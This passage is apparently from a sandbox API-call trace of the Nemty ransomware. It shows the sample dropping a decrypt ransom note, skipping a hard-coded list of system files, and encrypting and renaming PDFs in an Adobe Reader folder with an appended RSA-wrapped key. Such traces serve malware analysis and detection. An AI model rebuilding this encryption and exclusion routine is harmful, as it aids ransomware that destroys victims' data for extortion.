lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0189.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.979] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.979] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.979] CloseHandle (hObject=0x2f0) returned 1 [0189.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.980] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24e16d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24e16d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.980] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.980] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24e16d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24e16d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.980] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.980] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.980] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.980] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.981] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.981] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.981] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.981] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.981] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.981] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.981] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.981] Sleep (dwMilliseconds=0x5) [0189.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24e3ced0, dwHighDateTime=0x1d561e8)) [0189.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24e3ced0, dwHighDateTime=0x1d561e8)) [0189.991] GetLastError () returned 0xb7 [0189.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.992] GetLastError () returned 0xb7 [0189.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.992] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.992] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="pH6ZSiTrYgqh2XN24OEI2jYTyfpIknHxgdpc1PP3BE9jIVHPkesr7R/GnB3Nvb/Z\r\nMiwIx+ynVwRk5oXChNYVHhqerd+mg+fQogr1ANl7KVRsnhMn1Pp2pb3td+aaBiXQ\r\nwNbsI7KP/CHOPYms3/q7dWe1uaZWrkFnmEtD+WWUZQjtbT0swyiWn/wr289TL2Z2\r\nPjQFgwTy4QUT5AfaBnQ/nmQUzGJxt4MGdKSQ21yomQkA1N2bhV9F0mnmBqeT2AKy\r\nqqBzwk6hQZKrjHYPAo1niwzLOAFZRrJPb1sVezSLZkIsuk4DJuR0HJ8t3KBCVrxJ\r\nsA+N2UpX5DUkrm72SYzTAw==\r\n", pcchString=0x653df5c) returned 1 [0189.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.993] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=58799) returned 1 [0189.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe5a0) returned 0x6352c48 [0189.993] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.993] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xe5a0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xe5a0, lpOverlapped=0x0) returned 1 [0189.998] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.998] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xe5a0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xe5a0, lpOverlapped=0x0) returned 1 [0189.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.999] SetFilePointer (in: hFile=0x320, lDistanceToMove=58799, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe5af [0189.999] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.999] CloseHandle (hObject=0x320) returned 1 [0189.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.999] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0190.000] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6a0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0190.000] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0190.001] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0190.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0190.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0190.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0190.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0190.001] Sleep (dwMilliseconds=0x5) [0190.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24e63030, dwHighDateTime=0x1d561e8)) [0190.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24e63030, dwHighDateTime=0x1d561e8)) [0190.006] GetLastError () returned 0x0 [0190.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.006] GetLastError () returned 0x0 [0190.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.006] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0190.006] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0190.006] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0190.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0190.006] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="esEDDuoHmxfISKKLE/AAZ13v8GIIpWDNBU55I+baIf582rUEMfCy5dwXTsVU80iy\r\nUnhfqM2g/idPlp9BcIwBK7hBLfhQfEvQw7tUnzE5aTEa2xbk7TZgs73VKaJY7I9W\r\nW5+8yh0AWN58YfafocWmU4qXCqpyFXR0roOcEhjTxVOuYnIb+fif6kP79aWAu/Ee\r\n8q4yx4BSE96AhQXUZ7UFheQLF/X3OabCv5hj9veV/XsPj0MvnBPZo2SFGKpGpdpK\r\nHAgMarIJPXRNRHkekXkZO75O9mMQEB+3CgsZeOPJqO027hKmFSUzuqJNmpKQufwY\r\nKF0NVgFFZGIzi82EWTZ3Pg==\r\n", pcchString=0x653df5c) returned 1 [0190.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0190.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0190.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 